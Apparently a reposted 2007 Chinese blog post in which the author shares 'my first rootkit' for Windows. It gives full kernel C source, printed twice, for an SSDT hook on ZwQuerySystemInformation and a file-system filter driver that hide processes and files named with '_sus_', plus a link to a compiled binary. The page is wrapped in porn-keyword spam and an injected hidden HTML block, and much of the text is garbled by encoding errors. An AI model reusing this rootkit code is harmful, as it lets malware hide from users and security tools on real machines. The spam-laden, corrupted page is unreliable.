青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

S.l.e!ep.¢%

像打了激速一樣,以四倍的速度運轉(zhuǎn),開心的工作
簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
posts - 1098, comments - 335, trackbacks - 0, articles - 1
  C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

我寫的第一個rootkit--隱藏文件和進程[ 2007-10-02 16:41:07 | 作者: dklkt ]
字號: 大 | 中 | 小
十一前寫的,這兩天比較忙,所以現(xiàn)在才發(fā)上來.

??? 下面是本程序的用法:view plaincopy to clipboardprint?
=================================================================??
This is SUS's rootkit. It can hide files and processes??
?? when their names include "_sus_".??
=================================================================??
Written by dklkt.? 2007.9??
Notice that it can't run automaticly after the computer reboot!??
?
Usage: sushide2003 [-start]???????????? Install and start the SUS's rootkit.??
?????? sushide2003? -uninstall????????? Uninstall the rootkit.??
-----------------------------------------------------------------?

=================================================================
This is SUS's rootkit. It can hide files and processes
?? when their names include "_sus_".
=================================================================
Written by dklkt.? 2007.9
Notice that it can't run automaticly after the computer reboot!

Usage: sushide2003 [-start]???????????? Install and start the SUS's rootkit.
?????? sushide2003? -uninstall????????? Uninstall the rootkit.
-----------------------------------------------------------------??? 直接運行,或者加參數(shù)-start運行,都是安裝并開始rootkit.而加參數(shù)-uninstall則是停掉并移除

rootkt.

??? 這個程序的功能是隱藏所有文件名中含有_sus_的文件,并且也在進程中隱藏它們.

??? 下面說說具體的功能實現(xiàn):

??? 1.隱藏進程.

?????? 隱藏進程的實現(xiàn)用的是SSDT鉤子技術(shù). SSDT是System Service Dispatch Table(系統(tǒng)服務(wù)調(diào)度表

).該表可以基于系統(tǒng)調(diào)用病好進行索引,以便定位函數(shù)的內(nèi)存地址. 再說說windows操作系統(tǒng), 有個叫

ZwQuerySystemInformation的函數(shù), Taskmgr.exe通過該函數(shù)獲取系統(tǒng)上的進程列表. 我們通過將

NtQuerySystemInformation函數(shù)放到SSDT中, 然后在原函數(shù)返回的結(jié)果上進行過濾,就可以達到隱藏進程

的目的.
???? 這個是新寫的ZwQuerySystemInformation函數(shù):view plaincopy to clipboardprint?
NTSTATUS NewZwQuerySystemInformation(??
??????????? IN ULONG SystemInformationClass,??
??????????? IN PVOID SystemInformation,??
??????????? IN ULONG SystemInformationLength,??
??????????? OUT PULONG ReturnLength)??
{??
?
?? NTSTATUS ntStatus;??
?
?? ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (??
????????? SystemInformationClass,??
????????? SystemInformation,??
????????? SystemInformationLength,??
????????? ReturnLength );??
?
?? if( NT_SUCCESS(ntStatus))???
?? {??
????? // Asking for a file and directory listing??
????? if(SystemInformationClass == 5)??
????? {??
?????? // This is a query for the process list.??
????????????
???? struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)??
?
SystemInformation;??
???????? struct _SYSTEM_PROCESSES *prev = NULL;??
???????
???? while(curr)??
???? {??
??????????? //DbgPrint("Current item is %x\n", curr);??
????? if (curr->ProcessName.Buffer != NULL)??
????? {??
??????? if( wcsstr( ( wchar_t *)(curr->ProcessName.Buffer),???
?
L"_sus_") )??? //進程名中包含_sus_則隱藏??
??????? {??
????????? m_UserTime.QuadPart += curr->UserTime.QuadPart;??
????????? m_KernelTime.QuadPart += curr->KernelTime.QuadPart;??
?
????????? if(prev) // Middle or Last entry??
????????? {??
??????????? if(curr->NextEntryDelta)??
????????????? prev->NextEntryDelta += curr-??
?
>NextEntryDelta;??
??????????? else? // we are last, so make prev the???
?
end??
????????????? prev->NextEntryDelta = 0;??
????????? }??
????????? else?
????????? {??
??????????? if(curr->NextEntryDelta)??
??????????? {??
????????????? // we are first in the list, so???
?
move it forward??
????????????? (char *)SystemInformation += curr-??
?
>NextEntryDelta;??
??????????? }??
??????????? else // we are the only process!??
????????????? SystemInformation = NULL;??
????????? }??
??????? }??
????? }??
????? else // This is the entry for the Idle process??
????? {??
???????? // Add the kernel and user times of _root_*???
???????? // processes to the Idle process.??
???????? curr->UserTime.QuadPart += m_UserTime.QuadPart;??
???????? curr->KernelTime.QuadPart += m_KernelTime.QuadPart;??
?
???????? // Reset the timers for next time we filter??
???????? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;??
????? }??
????? prev = curr;??
??????? if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);??
??????? else curr = NULL;??
?????? }??
??? }??
??? else if (SystemInformationClass == 8) // Query for SystemProcessorTimes??
??? {??
???????? struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)??
?
SystemInformation;??
???????? times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;??
??? }??
?
?? }??
?? return ntStatus;??
}?

NTSTATUS NewZwQuerySystemInformation(
??????????? IN ULONG SystemInformationClass,
??????????? IN PVOID SystemInformation,
??????????? IN ULONG SystemInformationLength,
??????????? OUT PULONG ReturnLength)
{

?? NTSTATUS ntStatus;

?? ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
????????? SystemInformationClass,
????????? SystemInformation,
????????? SystemInformationLength,
????????? ReturnLength );

?? if( NT_SUCCESS(ntStatus))
?? {
????? // Asking for a file and directory listing
????? if(SystemInformationClass == 5)
????? {
?????? // This is a query for the process list.
?????????
???? struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)

SystemInformation;
???????? struct _SYSTEM_PROCESSES *prev = NULL;
????
???? while(curr)
???? {
??????????? //DbgPrint("Current item is %x\n", curr);
????? if (curr->ProcessName.Buffer != NULL)
????? {
??????? if( wcsstr( ( wchar_t *)(curr->ProcessName.Buffer),

L"_sus_") )??? //進程名中包含_sus_則隱藏
??????? {
????????? m_UserTime.QuadPart += curr->UserTime.QuadPart;
????????? m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

????????? if(prev) // Middle or Last entry
????????? {
??????????? if(curr->NextEntryDelta)
????????????? prev->NextEntryDelta += curr-

>NextEntryDelta;
??????????? else? // we are last, so make prev the

end
????????????? prev->NextEntryDelta = 0;
????????? }
????????? else
????????? {
??????????? if(curr->NextEntryDelta)
??????????? {
????????????? // we are first in the list, so

move it forward
????????????? (char *)SystemInformation += curr-

>NextEntryDelta;
??????????? }
??????????? else // we are the only process!
????????????? SystemInformation = NULL;
????????? }
??????? }
????? }
????? else // This is the entry for the Idle process
????? {
???????? // Add the kernel and user times of _root_*
???????? // processes to the Idle process.
???????? curr->UserTime.QuadPart += m_UserTime.QuadPart;
???????? curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

???????? // Reset the timers for next time we filter
???????? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
????? }
????? prev = curr;
??????? if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
??????? else curr = NULL;
?????? }
??? }
??? else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
??? {
???????? struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)

SystemInformation;
???????? times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
??? }

?? }
?? return ntStatus;
}??? 2.隱藏文件

????? 本來隱藏文件也可以用鉤子的,但是由于手頭有MS的IFS DDK,所以干脆寫成了文件過濾驅(qū)動.它直

接作用于文件系統(tǒng)驅(qū)動之上, 將其得到的結(jié)果修改后返回上層驅(qū)動. 因為文件過濾驅(qū)動比較復(fù)雜,因此我

這里只是簡單的修改了一下DDK開發(fā)包里提供的sfilter例子.
???? 首先是創(chuàng)建一個處理IRP_MJ_DIRECTORY_CONTROL的例程FsDirectoryControlview plaincopy to clipboardprint?
//=================================================??
NTSTATUS??
FsDirectoryControl(IN PDEVICE_OBJECT DeviceObject,??
?????????????????? IN PIRP Irp)??
{??
??? NTSTATUS status;??
??? PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);??? //當(dāng)前Irp??
?
(IO_STACK_LOCATION)的參數(shù)??
//??? PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;??
? PSFILTER_DEVICE_EXTENSION? devExt = DeviceObject->DeviceExtension;??
??? PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;??
??? KEVENT waitEvent;??
??? //UNICODE_STRING path;??
?
??? ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));??
?
??? if (IRP_MN_QUERY_DIRECTORY != irpSp->MinorFunction)??
??? {??
??????? goto SkipHandle;??
??? }??
??? if (Irp->RequestorMode == KernelMode)??
??? {??
??????? goto SkipHandle;??
??? }??
? if (KeGetCurrentIrql() != PASSIVE_LEVEL )??
? {??
??? goto SkipHandle;??
? }??
? /*?
??? if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)-?
?
>FileInformationClass)??
??? {?????
??????? goto SkipHandle;?
??? }*/?
? if (irpSp ->Parameters.QueryDirectory.FileInformationClass !=???
?
FileBothDirectoryInformation)??
? {??
??? goto SkipHandle;??
? }??
??? //設(shè)置完成回調(diào)函數(shù)??
??? KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);??
??? IoCopyCurrentIrpStackLocationToNext(Irp);??
??? //IoSetCompletionRoutine??
?
(Irp,CompletionRoutine,context,InvokeOnSuccess,InvokeOnError,InvokeOnCancel);??
??? IoSetCompletionRoutine(??????
??????????????????????????? Irp,??
??????????????????????????? DirControlCompletion,??????? //CompletionRoutine??
??????????????????????????? &waitEvent,??????????????????? //context parameter??
??????????????????????????? TRUE,??
??????????????????????????? TRUE,??
??????????????????????????? TRUE??
??????????????????????????? );??
?
??? status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);??
??? if (STATUS_PENDING == status)??
??? {??
??????? //等待完成??
??????? status = KeWaitForSingleObject(&waitEvent,??
??????????????????????????????????????? Executive,??
??????????????????????????????????????? KernelMode,??
??????????????????????????????????????? FALSE,??
??????????????????????????????????????? NULL??
??????????????????????????????????????? );??
??????? ASSERT(STATUS_SUCCESS == status);??
??? }??
??? if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length))???
??? {??????
??????? IoCompleteRequest(Irp, IO_NO_INCREMENT);??
??????? return status;??
??? }??
??? //KdPrint(("Hook Directory.\n"));??
??? //HandleDirectory(Irp->UserBuffer,? &((PQUERY_DIRECTORY)&irpSp->Parameters)->Length);??
? HandleDirectory(Irp->UserBuffer,? &(Irp->IoStatus.Information));??
?
??? IoCompleteRequest(Irp, IO_NO_INCREMENT);??
??? return status;??
?
SkipHandle:??
??? IoSkipCurrentIrpStackLocation(Irp);??
??? return IoCallDriver(devExt->AttachedToDeviceObject, Irp);??
}?

//=================================================
NTSTATUS
FsDirectoryControl(IN PDEVICE_OBJECT DeviceObject,
?????????????????? IN PIRP Irp)
{
??? NTSTATUS status;
??? PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);??? //當(dāng)前Irp

(IO_STACK_LOCATION)的參數(shù)
//??? PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;
? PSFILTER_DEVICE_EXTENSION? devExt = DeviceObject->DeviceExtension;
??? PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;
??? KEVENT waitEvent;
??? //UNICODE_STRING path;

??? ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));

??? if (IRP_MN_QUERY_DIRECTORY != irpSp->MinorFunction)
??? {
??????? goto SkipHandle;
??? }
??? if (Irp->RequestorMode == KernelMode)
??? {
??????? goto SkipHandle;
??? }
? if (KeGetCurrentIrql() != PASSIVE_LEVEL )
? {
??? goto SkipHandle;
? }
? /*
??? if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)-

>FileInformationClass)
??? {???
??????? goto SkipHandle;
??? }*/
? if (irpSp ->Parameters.QueryDirectory.FileInformationClass !=

FileBothDirectoryInformation)
? {
??? goto SkipHandle;
? }
??? //設(shè)置完成回調(diào)函數(shù)
??? KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);
??? IoCopyCurrentIrpStackLocationToNext(Irp);
??? //IoSetCompletionRoutine

(Irp,CompletionRoutine,context,InvokeOnSuccess,InvokeOnError,InvokeOnCancel);
??? IoSetCompletionRoutine(???
??????????????????????????? Irp,
??????????????????????????? DirControlCompletion,??????? //CompletionRoutine
??????????????????????????? &waitEvent,??????????????????? //context parameter
??????????????????????????? TRUE,
??????????????????????????? TRUE,
??????????????????????????? TRUE
??????????????????????????? );

??? status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);
??? if (STATUS_PENDING == status)
??? {
??????? //等待完成
??????? status = KeWaitForSingleObject(&waitEvent,
??????????????????????????????????????? Executive,
??????????????????????????????????????? KernelMode,
??????????????????????????????????????? FALSE,
??????????????????????????????????????? NULL
??????????????????????????????????????? );
??????? ASSERT(STATUS_SUCCESS == status);
??? }
??? if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length))
??? {???
??????? IoCompleteRequest(Irp, IO_NO_INCREMENT);
??????? return status;
??? }
??? //KdPrint(("Hook Directory.\n"));
??? //HandleDirectory(Irp->UserBuffer,? &((PQUERY_DIRECTORY)&irpSp->Parameters)->Length);
? HandleDirectory(Irp->UserBuffer,? &(Irp->IoStatus.Information));

??? IoCompleteRequest(Irp, IO_NO_INCREMENT);
??? return status;

SkipHandle:
??? IoSkipCurrentIrpStackLocation(Irp);
??? return IoCallDriver(devExt->AttachedToDeviceObject, Irp);
}然后對返回的結(jié)果進行操作:view plaincopy to clipboardprint?
//-------------------------------------------??
//隱藏文件過濾的函數(shù)??
BOOLEAN?
HandleDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)??
{??
? //處理目錄操作??
? PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;??
? PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;??
? ULONG offset = 0;??
? ULONG position = 0;??
? ULONG newLenth = *lpBufLenth;??
//? WCHAR fileName[] = L"Test.txt";??
? do?
? {??
??? offset = currentDirInfo->NextEntryOffset;??
??? if( wcsstr( ( wchar_t *)currentDirInfo->FileName, L"_sus_") )??? //文件中包??
?
含_sus_則隱藏??
??? {??
????? //Now We Will Test The FileName??
????? //KdPrint(("%08x Hided File:%ws[%d]\n", currentDirInfo-??
?
>FileAttributes, currentDirInfo->FileName, currentDirInfo->FileNameLength));??
????? if (0 == offset)??
????? {??
??????? //KdPrint(("l[%d][%d][%d][%d]\n", newLenth, *lpBufLenth,???
?
position, newLenth-(*lpBufLenth - position)));??
??????? //Reset Last DirInfo NextEntryOffset To Zero!!!??
??????? if (lastDirInfo)??
??????? {??
????????? lastDirInfo->NextEntryOffset = 0;??
????????? newLenth -= *lpBufLenth - position;??
??????? }??
??????? else?
??????? {??
????????? currentDirInfo->NextEntryOffset = 0;??
????????? *lpBufLenth = 0;??
????????? return TRUE;??
??????? }??
????? }??
????? else?
????? {??
??????? //KdPrint(("n[%d][%d][%d]\n", newLenth, *lpBufLenth,???
?
position));??
??????? RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo +???
?
offset, *lpBufLenth - position - offset);??
??????? newLenth -= offset;??
??????? position += offset;??
????? }??
??? }??
??? else?
??? {??
????? //KdPrint(("%08x Directory:%ws\n", currentDirInfo->FileAttributes,???
?
currentDirInfo->FileName));??
????? //Move Next??
????? position += offset;??
????? lastDirInfo = currentDirInfo;??
????? currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)??
?
currentDirInfo + offset);??
??? }??
? } while (0 != offset);??
? *lpBufLenth = newLenth;??
? return TRUE;??
}??
//-------------------------------??
//完成例程??
NTSTATUS??
DirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)??
{??
? PKEVENT event = Context;??
?
??? UNREFERENCED_PARAMETER( DeviceObject );??
??? UNREFERENCED_PARAMETER( Irp );??
?
??? ASSERT(IS_MY_DEVICE_OBJECT( DeviceObject ));??
?
? //if (Irp->PendingReturned) IoMarkIrpPending(Irp);??
??? KeSetEvent(event, IO_NO_INCREMENT, FALSE);??
?
??? return STATUS_MORE_PROCESSING_REQUIRED;???
}?

//-------------------------------------------
//隱藏文件過濾的函數(shù)
BOOLEAN
HandleDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)
{
? //處理目錄操作
? PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;
? PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;
? ULONG offset = 0;
? ULONG position = 0;
? ULONG newLenth = *lpBufLenth;
//? WCHAR fileName[] = L"Test.txt";
? do
? {
??? offset = currentDirInfo->NextEntryOffset;
??? if( wcsstr( ( wchar_t *)currentDirInfo->FileName, L"_sus_") )??? //文件中包

含_sus_則隱藏
??? {
????? //Now We Will Test The FileName
????? //KdPrint(("%08x Hided File:%ws[%d]\n", currentDirInfo-

>FileAttributes, currentDirInfo->FileName, currentDirInfo->FileNameLength));
????? if (0 == offset)
????? {
??????? //KdPrint(("l[%d][%d][%d][%d]\n", newLenth, *lpBufLenth,

position, newLenth-(*lpBufLenth - position)));
??????? //Reset Last DirInfo NextEntryOffset To Zero!!!
??????? if (lastDirInfo)
??????? {
????????? lastDirInfo->NextEntryOffset = 0;
????????? newLenth -= *lpBufLenth - position;
??????? }
??????? else
??????? {
????????? currentDirInfo->NextEntryOffset = 0;
????????? *lpBufLenth = 0;
????????? return TRUE;
??????? }
????? }
????? else
????? {
??????? //KdPrint(("n[%d][%d][%d]\n", newLenth, *lpBufLenth,

position));
??????? RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo +

offset, *lpBufLenth - position - offset);
??????? newLenth -= offset;
??????? position += offset;
????? }
??? }
??? else
??? {
????? //KdPrint(("%08x Directory:%ws\n", currentDirInfo->FileAttributes,

currentDirInfo->FileName));
????? //Move Next
????? position += offset;
????? lastDirInfo = currentDirInfo;
????? currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)

currentDirInfo + offset);
??? }
? } while (0 != offset);
? *lpBufLenth = newLenth;
? return TRUE;
}
//-------------------------------
//完成例程
NTSTATUS
DirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)
{
? PKEVENT event = Context;

??? UNREFERENCED_PARAMETER( DeviceObject );
??? UNREFERENCED_PARAMETER( Irp );

??? ASSERT(IS_MY_DEVICE_OBJECT( DeviceObject ));

? //if (Irp->PendingReturned) IoMarkIrpPending(Irp);
??? KeSetEvent(event, IO_NO_INCREMENT, FALSE);

??? return STATUS_MORE_PROCESSING_REQUIRED;
}???? 因為還是初學(xué)rootkit,所以以上代碼并非本人原創(chuàng), 特此聲明. 在此也感謝下作者. 很多地方我也

是正在學(xué)習(xí)中. 目前正在看Greg Hoglund 和James Butler寫的《ROOTKITS--Windows內(nèi)核的安全防護》

。也給大家推薦下。另外,順便提下,本程序中所用到的方法都可以被IceSword檢測到。

??? 附件中是編譯好的程序。編譯環(huán)境win2003,也可在xp中使用。
??? 為了防止惡意使用,程序加了北斗3.7殼。

?點擊下載
[最后修改由 dklkt, 于 2008-04-27 20:37:40]
標簽: 原創(chuàng)程序
?評論Feed: http://www.dklkt.cn/feed.asp?q=comment&id=39

本文來源:單克隆抗體's blog???
原文地址:http://www.dklkt.cn/article.asp?id=39

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            宅男噜噜噜66一区二区| 亚洲国产高清在线观看视频| 美女啪啪无遮挡免费久久网站| 久久久久久国产精品mv| 欧美国产日韩在线观看| 国产精品扒开腿爽爽爽视频| 国产日产欧产精品推荐色| 怡红院精品视频| 日韩一二三区视频| 欧美在线3区| 欧美国产丝袜视频| 亚洲视频精选在线| 久久综合五月天婷婷伊人| 国产精品日韩欧美一区二区| 亚洲第一在线| 久久精品综合网| 日韩午夜视频在线观看| 欧美在线免费| 欧美精品www在线观看| 在线观看欧美黄色| 亚洲国产成人午夜在线一区| 一区二区三区毛片| 中文国产成人精品| 黄色亚洲网站| 亚洲精品免费在线观看| 久久天天狠狠| 先锋资源久久| 国产精品每日更新| 亚洲一区国产精品| 亚洲精品国产精品乱码不99按摩 | 欧美综合77777色婷婷| 亚洲美女精品成人在线视频| 你懂的国产精品| 亚洲欧洲精品一区| 亚洲福利一区| 国产午夜精品一区理论片飘花| 午夜精品在线看| 亚洲一区精品视频| 国产精品www色诱视频| 欧美成人午夜| 欧美成人dvd在线视频| 亚洲国产岛国毛片在线| 午夜精品久久久| 国精品一区二区| 久久人人爽人人爽| 欧美在线综合视频| 亚洲伊人网站| 欧美日韩亚洲视频| 亚洲一区亚洲二区| 欧美国产日韩一二三区| 久久久久久综合| 国产日韩综合一区二区性色av| 亚洲三级影片| 亚洲精品国产日韩| 免费短视频成人日韩| 久久久噜噜噜久久狠狠50岁| 国产精品久久久久一区| 一区二区三区精品| 国产农村妇女毛片精品久久莱园子| 亚洲精品日韩久久| 亚洲精品视频在线观看网站| 噜噜噜噜噜久久久久久91| 久久先锋资源| 黄色日韩精品| 久久免费视频一区| 一区二区激情小说| 欧美日韩ab| 久久久久欧美| 精品二区视频| 美女网站久久| 亚洲精品美女| 亚洲一级黄色av| 久久精品观看| 99精品国产在热久久下载| 欧美激情片在线观看| 亚洲人体大胆视频| 亚洲午夜羞羞片| 国产精品婷婷| 久久精品日韩欧美| 亚洲综合日韩在线| 国产精品专区第二| 91久久精品久久国产性色也91| 国产视频精品xxxx| 久久久久久伊人| 亚洲国产精品精华液2区45| 国产精品久线观看视频| 亚洲欧美日韩精品一区二区| 久久综合图片| 国产精品日韩在线播放| 午夜精品久久久久久久蜜桃app| 欧美在线短视频| 亚洲电影免费观看高清完整版在线观看| 久久躁狠狠躁夜夜爽| 日韩午夜精品| 久久嫩草精品久久久精品| 亚洲精品一区二区网址| 欧美亚洲在线观看| 午夜视频精品| 亚洲国产精品成人综合| 欧美日韩在线播放一区二区| 久久av一区二区三区| 亚洲精品久久久久中文字幕欢迎你| 亚洲欧美国产视频| 欧美日韩亚洲综合在线| 欧美一区二区三区四区视频| 亚洲国产三级| 久久女同互慰一区二区三区| 一区电影在线观看| 欧美日韩一区二区三区四区五区| 午夜日韩在线观看| 亚洲精品看片| 欧美 日韩 国产 一区| 伊人精品成人久久综合软件| 欧美日韩在线观看一区二区三区| 久久久最新网址| 亚洲嫩草精品久久| 欧美在线免费观看视频| 亚洲日本免费| 伊人久久大香线蕉综合热线| 国产精品xxxav免费视频| 狼人天天伊人久久| 午夜一区二区三区在线观看| 亚洲乱码久久| 亚洲国产精品ⅴa在线观看| 久久精视频免费在线久久完整在线看| 亚洲桃花岛网站| 国产精品久久久久一区二区三区| 欧美高清在线精品一区| 久久久99国产精品免费| 亚洲免费视频一区二区| 在线亚洲欧美| 亚洲三级观看| 91久久亚洲| 亚洲成人在线免费| 一区二区三区欧美| 亚洲国产综合91精品麻豆| 欧美激情1区2区3区| 久久久久国色av免费观看性色| 亚洲免费一级电影| 亚洲一区二区三区免费观看 | 欧美专区在线观看| 亚洲一二三区在线观看| 久久综合精品一区| 久久久精品国产免费观看同学| 午夜精品久久久久久久久久久久 | 在线亚洲成人| 99在线热播精品免费| 99这里只有精品| 在线视频中文亚洲| 亚洲免费在线播放| 午夜免费电影一区在线观看| 欧美一区二区三区四区在线观看地址 | 欧美精品乱码久久久久久按摩| 蜜臀av性久久久久蜜臀aⅴ四虎| 鲁大师成人一区二区三区| 牛牛影视久久网| 欧美日韩1区| 国产精品免费网站| 国产一区二区无遮挡| 欧美日韩亚洲一区二区三区在线观看| 欧美日韩免费观看中文| 国产精品sss| 国产在线精品一区二区夜色| 亚洲第一精品夜夜躁人人躁| 亚洲精品在线电影| 亚洲欧美视频在线观看| 久久久久久一区二区| 亚洲高清在线观看| 99视频一区| 亚洲精品国精品久久99热| 亚洲视频图片小说| 久久不射电影网| 欧美激情在线播放| 国产精品一卡| 亚洲日本视频| 欧美在线欧美在线| 亚洲国产欧美另类丝袜| 亚洲免费在线观看| 麻豆精品视频在线| 国产老肥熟一区二区三区| 亚洲第一黄色| 久久不射2019中文字幕| 最新中文字幕一区二区三区| 午夜亚洲福利在线老司机| 免费欧美日韩| 国产亚洲欧洲997久久综合| 亚洲日韩成人| 久久亚洲国产成人| 一区二区三区视频观看| 久久亚洲精品伦理| 国产精品综合av一区二区国产馆| 亚洲国产精品久久| 久久国内精品视频| 久久五月激情| 亚洲综合不卡| 欧美日韩美女| 亚洲毛片播放| 欧美成ee人免费视频| 午夜精品影院| 国产精品美女在线观看|